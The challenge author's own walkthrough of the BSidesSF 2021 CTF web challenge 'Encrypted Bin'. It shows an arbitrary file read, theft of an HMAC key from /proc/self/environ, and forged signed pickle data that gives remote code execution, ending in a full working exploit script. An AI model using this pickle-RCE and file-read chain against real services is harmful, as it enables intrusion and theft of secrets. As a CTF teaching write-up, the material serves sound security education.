I was the author for the BSidesSF 2021 CTF Challenge “Encrypted Bin”, which is an encrypted pastebin service. The description from the scoreboard:

I’ve always wanted to build an encrypted pastebin service. Hope I’ve done it correctly. (Look in /home/flag/ for the flag.)

I thought I’d do a walk through of how I expected players to solve the challenge, so I’ll write this as if I’m playing the challenge.

Visiting the web service, we find an upload page for text and not much else. When we perform an upload, we see that we’re redirected to a page to view the encrypted upload:

1
https://encryptbin-12f88e53.challenges.bsidessf.net/3440de91-bd99-418d-8742-61cfc8d0869c/jbWfZBIJMu75b7g6JL4obQ==!gAN9cQAoWAMAAABrZXlxAUMQoqUau03ia_Z8gIg38K6dH3ECWAIAAABpdnEDQwhQoP3W-UvIM3EEdS4=

If we look at the requests made in our browser, we notice that the contents of the paste are loaded by a Fetch API request to the server at /load, with an example request like:

1
https://encryptbin-12f88e53.challenges.bsidessf.net/load?file=3440de91-bd99-418d-8742-61cfc8d0869c&key=jbWfZBIJMu75b7g6JL4obQ%3D%3D!gAN9cQAoWAMAAABrZXlxAUMQoqUau03ia_Z8gIg38K6dH3ECWAIAAABpdnEDQwhQoP3W-UvIM3EEdS4%3D

We note the UUID as the file parameter and the key parameter separately. If we upload a few test files, we notice the entire file UUID changes each time, but not all parts of the key parameter are changing, suggesting some structure to the data:

1
2
3
4
5
6
jbWfZBIJMu75b7g6JL4obQ==!gAN9cQAoWAMAAABrZXlxAUMQoqUau03ia_Z8gIg38K6dH3ECWAIAAABpdnEDQwhQoP3W-UvIM3EEdS4=
4JhMLDj2_jqKB3Mga48sjw==!gAN9cQAoWAMAAABrZXlxAUMQyjuJPDmWctC2GqttcFotC3ECWAIAAABpdnEDQwiBbMqafv3GmXEEdS4=
3FPPCBGVktV6tYGNxQESpw==!gAN9cQAoWAMAAABrZXlxAUMQW77ObBYrougerdcyT8rDAnECWAIAAABpdnEDQwhdBIG6VnnufHEEdS4=
gSXVhGP0xqqZlY8LP4m10A==!gAN9cQAoWAMAAABrZXlxAUMQvQTrZZyOMy-dJnELRrR5cHECWAIAAABpdnEDQwiB1pRKE_s24XEEdS4=
O7ttlljfsYYQ1giJkh7r2w==!gAN9cQAoWAMAAABrZXlxAUMQTMN0Nv6FADGx4Db8a47O8nECWAIAAABpdnEDQwhbn4dopviAzHEEdS4=
N_xTGv4gndZemzXtglEzog==!gAN9cQAoWAMAAABrZXlxAUMQmErsXcdIRlSngzdd-VseZXECWAIAAABpdnEDQwgiKmU3EL20QnEEdS4=

The single bang (!) in the middle is likely a separator, and the data on both sides appear to be base64-encoded. (Well, the URL-safe variant of base64, where - and _ are used in addition to 0-9A-Za-z.) The left side is 16 bytes decoded, so 128 bits – could be some sort of key or MAC. It appears to always be completely random. The right side, on the other hand, has some parts that never change. This suggests some kind of structured data. If we decode them, we see the characters “keyq” and “ivq” consistently, suggesting maybe there’s some key/iv data there.

What if we try manipulating the data? If we tamper with most any byte in the key parameter, we get the following response:

1
2
3
4
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>Error deserializing pickled data: Invalid MAC</p>

The error here tells us a couple of interesting things. Firstly, there’s a MAC involved, telling us the value is signed in some way. Secondly, many might recognize “pickled data” as referring to the Python pickle module (and it’s the first search result for the term). The page even contains a warning:

Warning The pickle module is not secure. Only unpickle data you trust.

It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.

Consider signing data with hmac if you need to ensure that it has not been tampered with.

The mention of hmac sounds similar to what we see in the error message, so it sounds like we’re on the right path.

What if we play with the file parameter? Most things just end up with a 404 error. If we include .., as in a typical directory traversal attack (like ../../../../../etc/passwd), we find a different error, suggesting something different is happening. Most probably, the file parameter is not just a key in some database. If we just try an absolute path like /etc/passwd, we get a bunch of binary data back. Since the file on disk is plaintext, we’re probably getting the data “decrypted” by the key we provided. Can we reverse this?

Let’s try to figure out how we can decrypt this file. Let’s try unpickling the data from one of the keys we’ve retrieved:

1
2
3
keyData = pickle.loads(base64.urlsafe_b64decode('gAN9cQAoWAMAAABrZXlxAUMQmErsXcdIRlSngzdd-VseZXECWAIAAABpdnEDQwgiKmU3EL20QnEEdS4='))
print(keyData)
{'key': b'\x98J\xec]\xc7HFT\xa7\x837]\xf9[\x1ee', 'iv': b'"*e7\x10\xbd\xb4B'}

We know from the home page that this uses AES-128, and its implemented in Python3. There’s a couple of Python Crypto libraries (sorry!) but pycryptodome is used here.

We can decrypt data we receive back using just a few lines of Python:

1
2
3
4
5
from Crypto.Cipher import AES

def decrypt_data(data, key, iv):
    cip = AES.new(key, AES.MODE_CTR, nonce=iv)
    return cip.decrypt(data)

Given this, we’re able to read arbitrary files from the server. If you’ve checked the HTML source of the app, you’ll have seen /home/ctf/main.py mentioned as the source. If you retrieve that, you’ll have the full source of the application. I won’t reproduce it in full here, but will grab some relevant sections:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def unpack_key(cfg, data):
    """Retrieve key and iv."""
    mac, d = data.encode('utf-8').split(MAC_SEP)
    mac = base64.urlsafe_b64decode(mac)
    d = base64.urlsafe_b64decode(d)
    expected = hmac.new(
            cfg['AUTH_KEY'].encode('utf-8'),
            msg=d,
            digestmod=hashlib.sha256).digest()[:16]
    if not hmac.compare_digest(mac, expected):
        app.logger.warn('Invalid MAC: ' + mac.hex() + ' ' + expected.hex())
        raise ValueError('Error deserializing pickled data: Invalid MAC')
    keyd = pickle.loads(d)
    return keyd['key'], keyd['iv']

You’ll also want to pull the related import /home/ctf/config.py (loaded at the top of main.py):

1
2
3
4
5
6
7
8
import os

TEMPLATES_AUTO_RELOAD = True

# App specific configs
BASE_DIR = "/tmp/ebin"
AUTH_KEY = os.getenv("AUTH_KEY", "--auth-key--")
FLAG_PATH = "/home/flag/flag.txt"

We can try our current technique to read the flag file from /home/flag/flag.txt, but that returns a 403 error.

We notice that the authentication key for the HMAC is configured here, but it could be taken from the environment as well. We could try doing something with this key, but instead, I’d rather just dump the environment. If you’re not aware, you can access the environment variables for a running process on Linux by reading /proc/self/environ. Each NAME=VALUE pair is null-terminated. Retrieving this in the same manner as the source, we get the following value for the AUTH_KEY:

1
AUTH_KEY=good_work_but_need_a_shell

Well, this suggests we need to execute code instead of just reading the flag from the file.

At this point, we can use the AUTH_KEY and the code in pack_key to try to construct our own valid key. Initially, I just set up a key and iv of my own choosing to avoid the same “Invalid MAC” error. Just plugging in the AUTH_KEY value and key and iv of my choice to pack_key worked fine. But all this allows is choosing my own encryption key – not super useful at this point.

If you recall, there was a bit of a warning regarding the use of pickle and the ability to execute arbitrary code during pickling. A Python class to execute a shell command is as simple as this:

1
2
3
4
5
6
7
class Exp:

    def __init__(self, cmd):
        self.cmd = cmd

    def __reduce__(self):
        return os.system, (self.cmd, )

While I could send a reverse shell, I decided to use this to build a script that would just return output via output redirection to a file, then using the arbitrary file read. Listing /home/flag, we see that flag.txt is only readable by the flag user, but there’s also a program called getflag that is setuid() to the user flag.

1
2
-r-------- 1 flag ctf       22 Feb 27 23:14 flag.txt
-r-s--x--- 1 flag ctf  2061426 Feb 27 23:14 getflag

By altering our exploit to run /home/flag/getflag and getting the output, we’re able to get the contents of the flag file. Putting it all together gives the following solution script. Hope you found this challenge interesting or educational!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import pickle
import requests
import sys
from Crypto.Cipher import AES
import os.path
import base64
import hmac
import hashlib


def main(target):
    src_path = get_source_path(target)
    print('Source path:', src_path)
    usable_key = get_key_data(target)
    key, iv = extract_key_nonce(usable_key)
    file_src = retrieve_path(target, src_path, usable_key)
    print(file_src.decode('utf-8'))
    config_src = retrieve_path(
            target, src_path.replace('main.py', 'config.py'), usable_key)
    print(config_src.decode('utf-8'))
    environ_src = retrieve_path(
            target, '/proc/self/environ', usable_key)
    auth_key = extract_auth_key(environ_src)
    print('Auth Key: "%s"' % auth_key.decode('utf-8'))
    exploit = build_exploit(auth_key, 'ls -al /home/flag > /tmp/matirflag')
    retrieve_path(target, '/etc/passwd', exploit)  # Needed to get code exec
    print(retrieve_path(target, '/tmp/matirflag', usable_key).decode('utf-8'))
    exploit = build_exploit(auth_key, '/home/flag/getflag > /tmp/matirflag')
    retrieve_path(target, '/etc/passwd', exploit)  # Needed to get code exec
    flag = retrieve_path(
            target, '/tmp/matirflag', usable_key)
    print('Flag: ', flag.decode('utf-8'))


def get_source_path(target):
    r = requests.get(target)
    src_line = [a for a in r.text.split('\n') if '<!-- Source' in a][0]
    return src_line.split(': ')[1].split(' ')[0]


def get_key_data(target):
    data = {'paste': 'foobarbaz'}
    r = requests.post(target + '/upload', data=data)
    resp = r.json()
    return resp['key']


def extract_key_nonce(key_data):
    sig, e_key = key_data.split('!')
    key_d = base64.urlsafe_b64decode(e_key)
    key_s = pickle.loads(key_d)
    return key_s['key'], key_s['iv']


def retrieve_path(target, src_path, key_data):
    data = {
            'file': src_path,
            'key': key_data,
            }
    r = requests.get(target + '/load', data)
    if r.status_code != 200:
        print('Error:', r.status_code)
        return ''
    key, iv = extract_key_nonce(key_data)
    return decrypt_data(r.content, key, iv)


def extract_auth_key(environ):
    pairs = environ.split(b'\x00')
    print((b'\n'.join(pairs)).decode('utf-8'))
    for p in pairs:
        k, v = p.split(b'=', 1)
        if k == b'AUTH_KEY':
            return v


def decrypt_data(data, key, iv):
    cip = AES.new(key, AES.MODE_CTR, nonce=iv)
    return cip.decrypt(data)


def build_exploit(auth_key, cmd):
    exp = Exp(cmd)
    exp_d = pickle.dumps(exp)
    mac = hmac.new(auth_key, msg=exp_d, digestmod=hashlib.sha256).digest()[:16]
    return (
            base64.urlsafe_b64encode(mac) + b"!" +
            base64.urlsafe_b64encode(exp_d)).decode('utf-8')


class Exp:

    def __init__(self, cmd):
        self.cmd = cmd

    def __reduce__(self):
        return os.system, (self.cmd, )


if __name__ == '__main__':
    main(sys.argv[1])